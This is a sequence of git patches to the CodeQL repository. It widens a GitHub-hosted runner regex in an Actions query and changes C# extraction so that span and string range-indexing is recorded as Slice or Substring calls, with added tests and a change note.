actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll b/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll index 14d36ef0fa8..bb4437d803e 100644 --- a/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll +++ b/actions/ql/lib/codeql/actions/security/SelfHostedQuery.qll @@ -5,7 +5,7 @@ predicate isGithubHostedRunner(string runner) { // list of github hosted repos: https://github.com/actions/runner-images/blob/main/README.md#available-images runner .toLowerCase() - .regexpMatch("^(ubuntu-([0-9.]+|latest)|macos-([0-9]+|latest)(-x?large)?|windows-([0-9.]+|latest))$") + .regexpMatch("^(ubuntu-([0-9.]+|latest)(-arm)?|macos-([0-9]+|latest)(-x?large|-intel)?|windows-([0-9.]+|latest)(-arm|-vs[0-9.]+)?)$") } bindingset[runner] From 01fe081f368c26293b1ed8be975e03b68b0841e4 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 21 May 2026 13:12:24 +0200 Subject: [PATCH 067/143] C#: Extract the indexer as the call target when using range expressions with spans. --- .../Entities/Expressions/ElementAccess.cs | 35 +++++++++++++++++-- 1 file changed, 32 insertions(+), 3 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index 345e691a8a8..6f832132185 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -1,4 +1,5 @@ using System.IO; +using System.Linq; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Extraction.Kinds; @@ -17,6 +18,35 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions private readonly ExpressionSyntax qualifier; private readonly BracketedArgumentListSyntax argumentList; + + private IPropertySymbol? GetIndexerSymbol() + { + var symbol = Context.GetSymbolInfo(base.Syntax).Symbol; + + if (symbol is IPropertySymbol { IsIndexer: true } indexer) + return indexer; + + // In some cases, Roslyn translates the use of range expressions directly into method calls. + // E.g. `a[0..3]` is translated into `a.Slice(0, 3)`, if `a` is a `Span`. + // In this case, we want to populate the indexer access as normal (as this reflects the source code more accurately). + if (symbol is IMethodSymbol method) + { + var indexers = method + .ContainingType + .GetMembers() + .OfType() + .Where(p => p.IsIndexer); + + var intIndexer = indexers + .Where(i => i.Parameters.Length == 1 && i.Parameters[0].Type.SpecialType == SpecialType.System_Int32) + .FirstOrDefault(); + + return intIndexer; + } + + return null; + } + protected override void PopulateExpression(TextWriter trapFile) { if (Kind == ExprKind.POINTER_INDIRECTION) @@ -32,9 +62,8 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions Create(Context, qualifier, this, -1); PopulateArguments(trapFile, argumentList, 0); - var symbolInfo = Context.GetSymbolInfo(base.Syntax); - - if (symbolInfo.Symbol is IPropertySymbol indexer) + var indexer = GetIndexerSymbol(); + if (indexer is not null) { trapFile.expr_access(this, Indexer.Create(Context, indexer)); } From 5c8857ada20c00da59a4550648b5a0a3ff111fed Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 21 May 2026 13:30:20 +0200 Subject: [PATCH 068/143] C#: Update DB quality expected test output. --- .../Telemetry/DatabaseQuality/IsNotOkayCall.expected | 2 -- .../query-tests/Telemetry/DatabaseQuality/NoTarget.expected | 2 -- .../ql/test/query-tests/Telemetry/DatabaseQuality/Quality.cs | 4 ++-- 3 files changed, 2 insertions(+), 6 deletions(-) diff --git a/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/IsNotOkayCall.expected b/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/IsNotOkayCall.expected index dcdb8b09058..e69de29bb2d 100644 --- a/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/IsNotOkayCall.expected +++ b/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/IsNotOkayCall.expected @@ -1,2 +0,0 @@ -| Quality.cs:26:19:26:26 | access to indexer | Call without target $@. | Quality.cs:26:19:26:26 | access to indexer | access to indexer | -| Quality.cs:29:21:29:27 | access to indexer | Call without target $@. | Quality.cs:29:21:29:27 | access to indexer | access to indexer | diff --git a/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/NoTarget.expected b/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/NoTarget.expected index a76dd08cdb6..b96815507f1 100644 --- a/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/NoTarget.expected +++ b/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/NoTarget.expected @@ -7,7 +7,5 @@ | Quality.cs:20:13:20:23 | access to property MyProperty6 | Call without target $@. | Quality.cs:20:13:20:23 | access to property MyProperty6 | access to property MyProperty6 | | Quality.cs:23:9:23:14 | access to event Event1 | Call without target $@. | Quality.cs:23:9:23:14 | access to event Event1 | access to event Event1 | | Quality.cs:23:9:23:30 | delegate call | Call without target $@. | Quality.cs:23:9:23:30 | delegate call | delegate call | -| Quality.cs:26:19:26:26 | access to indexer | Call without target $@. | Quality.cs:26:19:26:26 | access to indexer | access to indexer | -| Quality.cs:29:21:29:27 | access to indexer | Call without target $@. | Quality.cs:29:21:29:27 | access to indexer | access to indexer | | Quality.cs:38:16:38:26 | access to property MyProperty2 | Call without target $@. | Quality.cs:38:16:38:26 | access to property MyProperty2 | access to property MyProperty2 | | Quality.cs:50:20:50:26 | object creation of type T | Call without target $@. | Quality.cs:50:20:50:26 | object creation of type T | object creation of type T | diff --git a/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/Quality.cs b/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/Quality.cs index e10ce10f6c4..648083edad8 100644 --- a/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/Quality.cs +++ b/csharp/ql/test/query-tests/Telemetry/DatabaseQuality/Quality.cs @@ -23,10 +23,10 @@ public class Test Event1.Invoke(this, 5); var str = "abcd"; - var sub = str[..3]; // TODO: this is not an indexer call, but rather a `str.Substring(0, 3)` call. + var sub = str[..3]; Span sp = null; - var slice = sp[..3]; // TODO: this is not an indexer call, but rather a `sp.Slice(0, 3)` call. + var slice = sp[..3]; Span guidBytes = stackalloc byte[16]; guidBytes[08] = 1; From b8edde6d44bc82c2bc387fad9067be8175bb5d8a Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 21 May 2026 13:34:43 +0200 Subject: [PATCH 069/143] C#: Add change-note. --- csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md diff --git a/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md b/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md new file mode 100644 index 00000000000..b7bc97b9a94 --- /dev/null +++ b/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Improved extraction of span range-access expressions (for example, `a[0..3]`) so the indexer is recorded as the call target. From 9c9c89615e40f24fc7c30584562ef86087ff4e1a Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 2 Jun 2026 15:52:43 +0200 Subject: [PATCH 070/143] C#: Extract Slice and Substring operations and synthesize the call arguments, when using indexers in conjunction with ranges on spans and strings. --- .../Entities/Expressions/ElementAccess.cs | 187 +++++++++++++++--- 1 file changed, 163 insertions(+), 24 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index 6f832132185..15f7fe709bb 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -1,6 +1,8 @@ +using System.Diagnostics.CodeAnalysis; using System.IO; using System.Linq; using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Extraction.Kinds; @@ -9,7 +11,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions internal abstract class ElementAccess : Expression { protected ElementAccess(ExpressionNodeInfo info, ExpressionSyntax qualifier, BracketedArgumentListSyntax argumentList) - : base(info.SetKind(GetKind(info.Context, qualifier))) + : base(info.SetKind(GetKind(info.Context, info.Node, qualifier))) { this.qualifier = qualifier; this.argumentList = argumentList; @@ -19,32 +21,156 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions private readonly BracketedArgumentListSyntax argumentList; - private IPropertySymbol? GetIndexerSymbol() + private ISymbol? GetTargetSymbol() { - var symbol = Context.GetSymbolInfo(base.Syntax).Symbol; + return Context.GetSymbolInfo(base.Syntax).Symbol; + } - if (symbol is IPropertySymbol { IsIndexer: true } indexer) - return indexer; + private static void SetExprArgument(TextWriter trapFile, Expression left, Expression right) + { + trapFile.expr_argument(left, 0); + trapFile.expr_argument(right, 0); + } - // In some cases, Roslyn translates the use of range expressions directly into method calls. - // E.g. `a[0..3]` is translated into `a.Slice(0, 3)`, if `a` is a `Span`. - // In this case, we want to populate the indexer access as normal (as this reflects the source code more accurately). - if (symbol is IMethodSymbol method) + private Expression MakeSubtractionExpression(IExpressionParentEntity parent, int child) + { + var info = new ExpressionInfo( + Context, + AnnotatedTypeSymbol.CreateNotAnnotated(Context.Compilation.GetSpecialType(SpecialType.System_Int32)), + Location, + ExprKind.SUB, + parent, + child, + isCompilerGenerated: true, + null); + + return new Expression(info); + } + + private void MakeLengthPropertyCall(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IExpressionParentEntity parent, int child) + { + var lengthInfo = new ExpressionInfo( + Context, + AnnotatedTypeSymbol.CreateNotAnnotated(Context.Compilation.GetSpecialType(SpecialType.System_Int32)), + Location, + ExprKind.PROPERTY_ACCESS, + parent, + child, + isCompilerGenerated: true, + null); + var length = new Expression(lengthInfo); + Create(Context, qualifier, length, -1); + + var lengthProp = Property.Create(Context, lengthPropertySymbol); + trapFile.expr_access(length, lengthProp); + } + + private Expression CreateFromIndexExpression(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IExpressionParentEntity parent, int child, PrefixUnaryExpressionSyntax index) + { + var sub = MakeSubtractionExpression(parent, child); + MakeLengthPropertyCall(trapFile, lengthPropertySymbol, sub, 0); + var info = new ExpressionNodeInfo(Context, index.Operand, sub, 1) { - var indexers = method - .ContainingType - .GetMembers() - .OfType() - .Where(p => p.IsIndexer); + IsCompilerGenerated = true + }; + Factory.Create(info); + return sub; + } - var intIndexer = indexers - .Where(i => i.Parameters.Length == 1 && i.Parameters[0].Type.SpecialType == SpecialType.System_Int32) - .FirstOrDefault(); - - return intIndexer; + /// + /// It is assumed that either the input is + /// 1. A normal expression that can be used as endpoint (e.g a constant like "3"). + /// 2. An index expression indicating that we should read from the end (e.g "^1"). + /// + /// The syntax node representing the range endpoint. + /// The parent expression entity. + /// The child index within the parent. + /// An expression representing the endpoint of a range to be used in conjunction with a slice operation. + private Expression CreateFromRangeEndpoint(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, ExpressionSyntax syntax, IExpressionParentEntity parent, int child) + { + if (syntax.Kind() == SyntaxKind.IndexExpression && syntax is PrefixUnaryExpressionSyntax index) + { + return CreateFromIndexExpression(trapFile, lengthPropertySymbol, parent, child, index); } - return null; + var info = new ExpressionNodeInfo(Context, syntax, parent, child) + { + IsCompilerGenerated = true + }; + return Factory.Create(info); + } + + /// + /// Determines whether the given method is a slice method, which is defined as a method with + /// the name "Slice" or "SubString" and two parameters. + /// The method symbol to check. + /// True if the method is a slice method, false otherwise. + private bool IsSliceWithRange(IMethodSymbol method, [NotNullWhen(true)] out IPropertySymbol? lengthPropertySymbol, [NotNullWhen(true)] out RangeExpressionSyntax? range) + { + range = null; + lengthPropertySymbol = method + .ContainingType + .GetMembers("Length") + .OfType() + .FirstOrDefault(); + + if (argumentList.Arguments.Count == 1) + { + range = argumentList.Arguments[0].Expression as RangeExpressionSyntax; + } + + return (method.Name == "Slice" || method.Name == "Substring") + && method.Parameters.Length == 2 + && lengthPropertySymbol is not null + && range is not null; + } + + /// + /// Populates a slice method call based on the given range and length property symbol. + /// + /// The trap file to write to. + /// The length property symbol. + /// The slice method symbol. + /// The range expression syntax. + private void PopulateSlice(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IMethodSymbol slice, RangeExpressionSyntax range) + { + // 1. s[a..b] -> s.Slice(a, b - a) + // 2. s[..b] -> s.Slice(0, b) + // 3. s[a..] -> s.Slice(a, s.Length - a) + // Furthermore, note that uses of index expressions (e.g. s[2..^1]) within the range + // get translated to length - index, so we need to handle this as well. + switch (range.LeftOperand, range.RightOperand) + { + case (ExpressionSyntax lsyntax, ExpressionSyntax rsyntax): + { + var left = CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, this, 0); + var right = MakeSubtractionExpression(this, 1); + + CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, rsyntax, right, 0); + CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, right, 1); + SetExprArgument(trapFile, left, right); + break; + } + case (null, ExpressionSyntax rsyntax): + { + var left = Literal.CreateGenerated(Context, this, 0, Context.Compilation.GetSpecialType(SpecialType.System_Int32), 0, Location); + var right = CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, rsyntax, this, 1); + SetExprArgument(trapFile, left, right); + break; + } + case (ExpressionSyntax lsyntax, null): + { + + var left = CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, this, 0); + var right = MakeSubtractionExpression(this, 1); + MakeLengthPropertyCall(trapFile, lengthPropertySymbol, right, 0); + CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, right, 1); + SetExprArgument(trapFile, left, right); + break; + } + } + + trapFile.expr_call(this, Method.Create(Context, slice)); } protected override void PopulateExpression(TextWriter trapFile) @@ -60,10 +186,20 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions else { Create(Context, qualifier, this, -1); - PopulateArguments(trapFile, argumentList, 0); - var indexer = GetIndexerSymbol(); - if (indexer is not null) + var target = GetTargetSymbol(); + if (target is IMethodSymbol method && IsSliceWithRange(method, out var lengthPropertySymbol, out var range)) + { + // When an indexer on a span or string is used in conjunction with a range expression, the compiler translates + // this into a call to the "Slice" or "Substring" method. + // In this case, we want to populate a slice/substring method call instead of an indexer access. + // E.g s[1..4] gets translated to s.Slice(1, 4 - 1) if s is a span. + PopulateSlice(trapFile, lengthPropertySymbol, method, range); + return; + } + + PopulateArguments(trapFile, argumentList, 0); + if (target is IPropertySymbol { IsIndexer: true } indexer) { trapFile.expr_access(this, Indexer.Create(Context, indexer)); } @@ -75,8 +211,11 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions private static bool IsArray(ITypeSymbol symbol) => symbol.TypeKind == Microsoft.CodeAnalysis.TypeKind.Array || symbol.IsInlineArray(); - private static ExprKind GetKind(Context cx, ExpressionSyntax qualifier) + private static ExprKind GetKind(Context cx, ExpressionSyntax syntax, ExpressionSyntax qualifier) { + if (cx.GetSymbolInfo(syntax).Symbol is IMethodSymbol) + return ExprKind.METHOD_INVOCATION; + var qualifierType = cx.GetType(qualifier); // This is a compilation error, so make a guess and continue. From d9152392ce7be7d0ca7c0415b464abf470e607c3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Tue, 2 Jun 2026 16:05:03 +0200 Subject: [PATCH 071/143] C#: Add test case and expected output. --- csharp/ql/test/library-tests/spans/Slice.cs | 19 ++++++++++++++++ .../test/library-tests/spans/slice.expected | 22 +++++++++++++++++++ csharp/ql/test/library-tests/spans/slice.ql | 18 +++++++++++++++ 3 files changed, 59 insertions(+) create mode 100644 csharp/ql/test/library-tests/spans/Slice.cs create mode 100644 csharp/ql/test/library-tests/spans/slice.expected create mode 100644 csharp/ql/test/library-tests/spans/slice.ql diff --git a/csharp/ql/test/library-tests/spans/Slice.cs b/csharp/ql/test/library-tests/spans/Slice.cs new file mode 100644 index 00000000000..882cdf59917 --- /dev/null +++ b/csharp/ql/test/library-tests/spans/Slice.cs @@ -0,0 +1,19 @@ +using System; + +public class C +{ + public void M(int a) + { + var s = "hello world"; + var sub1 = s[1..a]; + var sub2 = s[..2]; + var sub3 = s[3..]; + var sub4 = s[..^4]; + + Span sp = null; + var slice1 = sp[5..a]; + var slice2 = sp[..6]; + var slice3 = sp[7..]; + var slice4 = sp[..^8]; + } +} diff --git a/csharp/ql/test/library-tests/spans/slice.expected b/csharp/ql/test/library-tests/spans/slice.expected new file mode 100644 index 00000000000..feadf14a78d --- /dev/null +++ b/csharp/ql/test/library-tests/spans/slice.expected @@ -0,0 +1,22 @@ +methodCalls +| Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | 0 | 1 | +| Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | 1 | access to parameter a - 1 | +| Slice.cs:9:20:9:25 | call to method Substring | Substring(int, int) | 0 | 0 | +| Slice.cs:9:20:9:25 | call to method Substring | Substring(int, int) | 1 | 2 | +| Slice.cs:10:20:10:25 | call to method Substring | Substring(int, int) | 0 | 3 | +| Slice.cs:10:20:10:25 | call to method Substring | Substring(int, int) | 1 | access to property Length - 3 | +| Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 0 | 0 | +| Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 1 | access to property Length - 4 | +| Slice.cs:14:22:14:29 | call to method Slice | Slice(int, int) | 0 | 5 | +| Slice.cs:14:22:14:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a - 5 | +| Slice.cs:15:22:15:28 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:15:22:15:28 | call to method Slice | Slice(int, int) | 1 | 6 | +| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 0 | 7 | +| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 1 | access to property Length - 7 | +| Slice.cs:17:22:17:29 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:17:22:17:29 | call to method Slice | Slice(int, int) | 1 | access to property Length - 8 | +propertyCalls +| Slice.cs:10:20:10:25 | access to property Length | Slice.cs:10:20:10:20 | access to local variable s | +| Slice.cs:11:20:11:26 | access to property Length | Slice.cs:11:20:11:20 | access to local variable s | +| Slice.cs:16:22:16:28 | access to property Length | Slice.cs:16:22:16:23 | access to local variable sp | +| Slice.cs:17:22:17:29 | access to property Length | Slice.cs:17:22:17:23 | access to local variable sp | diff --git a/csharp/ql/test/library-tests/spans/slice.ql b/csharp/ql/test/library-tests/spans/slice.ql new file mode 100644 index 00000000000..8cddc4a875a --- /dev/null +++ b/csharp/ql/test/library-tests/spans/slice.ql @@ -0,0 +1,18 @@ +import csharp + +private string printExpr(Expr e) { + e = + any(SubExpr sub | + result = sub.getLeftOperand().toString() + " - " + sub.getRightOperand().toString() + ) + or + not e instanceof SubExpr and + result = e.toString() +} + +query predicate methodCalls(MethodCall mc, string m, int i, string arg) { + m = mc.getTarget().toStringWithTypes() and + arg = printExpr(mc.getArgument(i)) +} + +query predicate propertyCalls(PropertyCall p, Expr qualifier) { qualifier = p.getQualifier() } From edc1c150a0e7f3e93e4225505fcd6f886b749c03 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 3 Jun 2026 11:43:22 +0200 Subject: [PATCH 072/143] C#: Update change note. --- csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md b/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md index b7bc97b9a94..72858accfa1 100644 --- a/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md +++ b/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -* Improved extraction of span range-access expressions (for example, `a[0..3]`) so the indexer is recorded as the call target. +* Improved extraction of span range-access expressions (for example, `a[0..3]`). These expressions are now extracted as span `Slice` calls. From 2f473572fabad44966ebce0929e9d6550bc38ab2 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 3 Jun 2026 12:21:53 +0200 Subject: [PATCH 073/143] C#: Add more testcases and update expected output. --- csharp/ql/test/library-tests/spans/Slice.cs | 4 ++- .../test/library-tests/spans/slice.expected | 26 ++++++++++++------- csharp/ql/test/library-tests/spans/slice.ql | 2 +- 3 files changed, 20 insertions(+), 12 deletions(-) diff --git a/csharp/ql/test/library-tests/spans/Slice.cs b/csharp/ql/test/library-tests/spans/Slice.cs index 882cdf59917..3d207406076 100644 --- a/csharp/ql/test/library-tests/spans/Slice.cs +++ b/csharp/ql/test/library-tests/spans/Slice.cs @@ -2,18 +2,20 @@ using System; public class C { - public void M(int a) + public void M(int a, int b) { var s = "hello world"; var sub1 = s[1..a]; var sub2 = s[..2]; var sub3 = s[3..]; var sub4 = s[..^4]; + var sub5 = s[a..^b]; Span sp = null; var slice1 = sp[5..a]; var slice2 = sp[..6]; var slice3 = sp[7..]; var slice4 = sp[..^8]; + var slice5 = sp[a..^b]; } } diff --git a/csharp/ql/test/library-tests/spans/slice.expected b/csharp/ql/test/library-tests/spans/slice.expected index feadf14a78d..9b52e1aa331 100644 --- a/csharp/ql/test/library-tests/spans/slice.expected +++ b/csharp/ql/test/library-tests/spans/slice.expected @@ -7,16 +7,22 @@ methodCalls | Slice.cs:10:20:10:25 | call to method Substring | Substring(int, int) | 1 | access to property Length - 3 | | Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 0 | 0 | | Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 1 | access to property Length - 4 | -| Slice.cs:14:22:14:29 | call to method Slice | Slice(int, int) | 0 | 5 | -| Slice.cs:14:22:14:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a - 5 | -| Slice.cs:15:22:15:28 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:15:22:15:28 | call to method Slice | Slice(int, int) | 1 | 6 | -| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 0 | 7 | -| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 1 | access to property Length - 7 | -| Slice.cs:17:22:17:29 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:17:22:17:29 | call to method Slice | Slice(int, int) | 1 | access to property Length - 8 | +| Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 0 | access to parameter a | +| Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 1 | access to property Length - access to parameter b - access to parameter a | +| Slice.cs:15:22:15:29 | call to method Slice | Slice(int, int) | 0 | 5 | +| Slice.cs:15:22:15:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a - 5 | +| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 1 | 6 | +| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 0 | 7 | +| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 1 | access to property Length - 7 | +| Slice.cs:18:22:18:29 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:18:22:18:29 | call to method Slice | Slice(int, int) | 1 | access to property Length - 8 | +| Slice.cs:19:22:19:30 | call to method Slice | Slice(int, int) | 0 | access to parameter a | +| Slice.cs:19:22:19:30 | call to method Slice | Slice(int, int) | 1 | access to property Length - access to parameter b - access to parameter a | propertyCalls | Slice.cs:10:20:10:25 | access to property Length | Slice.cs:10:20:10:20 | access to local variable s | | Slice.cs:11:20:11:26 | access to property Length | Slice.cs:11:20:11:20 | access to local variable s | -| Slice.cs:16:22:16:28 | access to property Length | Slice.cs:16:22:16:23 | access to local variable sp | -| Slice.cs:17:22:17:29 | access to property Length | Slice.cs:17:22:17:23 | access to local variable sp | +| Slice.cs:12:20:12:27 | access to property Length | Slice.cs:12:20:12:20 | access to local variable s | +| Slice.cs:17:22:17:28 | access to property Length | Slice.cs:17:22:17:23 | access to local variable sp | +| Slice.cs:18:22:18:29 | access to property Length | Slice.cs:18:22:18:23 | access to local variable sp | +| Slice.cs:19:22:19:30 | access to property Length | Slice.cs:19:22:19:23 | access to local variable sp | diff --git a/csharp/ql/test/library-tests/spans/slice.ql b/csharp/ql/test/library-tests/spans/slice.ql index 8cddc4a875a..11efb1d824d 100644 --- a/csharp/ql/test/library-tests/spans/slice.ql +++ b/csharp/ql/test/library-tests/spans/slice.ql @@ -3,7 +3,7 @@ import csharp private string printExpr(Expr e) { e = any(SubExpr sub | - result = sub.getLeftOperand().toString() + " - " + sub.getRightOperand().toString() + result = printExpr(sub.getLeftOperand()) + " - " + printExpr(sub.getRightOperand()) ) or not e instanceof SubExpr and From 02c37321d032a6ee5b6d0d56a4f0f1a201de3d29 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 3 Jun 2026 13:54:15 +0200 Subject: [PATCH 074/143] C#: Add case for open ended range. --- .../Entities/Expressions/ElementAccess.cs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index 15f7fe709bb..f6f44799312 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -47,7 +47,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions return new Expression(info); } - private void MakeLengthPropertyCall(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IExpressionParentEntity parent, int child) + private Expression MakeLengthPropertyCall(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IExpressionParentEntity parent, int child) { var lengthInfo = new ExpressionInfo( Context, @@ -63,6 +63,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions var lengthProp = Property.Create(Context, lengthPropertySymbol); trapFile.expr_access(length, lengthProp); + return length; } private Expression CreateFromIndexExpression(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IExpressionParentEntity parent, int child, PrefixUnaryExpressionSyntax index) @@ -137,6 +138,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions // 1. s[a..b] -> s.Slice(a, b - a) // 2. s[..b] -> s.Slice(0, b) // 3. s[a..] -> s.Slice(a, s.Length - a) + // 4. s[..] -> s.Slice(0, s.Length) // Furthermore, note that uses of index expressions (e.g. s[2..^1]) within the range // get translated to length - index, so we need to handle this as well. switch (range.LeftOperand, range.RightOperand) @@ -168,6 +170,13 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions SetExprArgument(trapFile, left, right); break; } + case (null, null): + { + var left = Literal.CreateGenerated(Context, this, 0, Context.Compilation.GetSpecialType(SpecialType.System_Int32), 0, Location); + var right = MakeLengthPropertyCall(trapFile, lengthPropertySymbol, this, 1); + SetExprArgument(trapFile, left, right); + break; + } } trapFile.expr_call(this, Method.Create(Context, slice)); From 0f7e36958d6e7374272f681eeae4c433a1f09c6f Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 3 Jun 2026 13:54:49 +0200 Subject: [PATCH 075/143] C#: Add test case. --- csharp/ql/test/library-tests/spans/Slice.cs | 2 ++ .../test/library-tests/spans/slice.expected | 32 +++++++++++-------- 2 files changed, 21 insertions(+), 13 deletions(-) diff --git a/csharp/ql/test/library-tests/spans/Slice.cs b/csharp/ql/test/library-tests/spans/Slice.cs index 3d207406076..07d03c4d587 100644 --- a/csharp/ql/test/library-tests/spans/Slice.cs +++ b/csharp/ql/test/library-tests/spans/Slice.cs @@ -10,6 +10,7 @@ public class C var sub3 = s[3..]; var sub4 = s[..^4]; var sub5 = s[a..^b]; + var sub6 = s[..]; Span sp = null; var slice1 = sp[5..a]; @@ -17,5 +18,6 @@ public class C var slice3 = sp[7..]; var slice4 = sp[..^8]; var slice5 = sp[a..^b]; + var slice6 = sp[..]; } } diff --git a/csharp/ql/test/library-tests/spans/slice.expected b/csharp/ql/test/library-tests/spans/slice.expected index 9b52e1aa331..c60e4139764 100644 --- a/csharp/ql/test/library-tests/spans/slice.expected +++ b/csharp/ql/test/library-tests/spans/slice.expected @@ -9,20 +9,26 @@ methodCalls | Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 1 | access to property Length - 4 | | Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 0 | access to parameter a | | Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 1 | access to property Length - access to parameter b - access to parameter a | -| Slice.cs:15:22:15:29 | call to method Slice | Slice(int, int) | 0 | 5 | -| Slice.cs:15:22:15:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a - 5 | -| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:16:22:16:28 | call to method Slice | Slice(int, int) | 1 | 6 | -| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 0 | 7 | -| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 1 | access to property Length - 7 | -| Slice.cs:18:22:18:29 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:18:22:18:29 | call to method Slice | Slice(int, int) | 1 | access to property Length - 8 | -| Slice.cs:19:22:19:30 | call to method Slice | Slice(int, int) | 0 | access to parameter a | -| 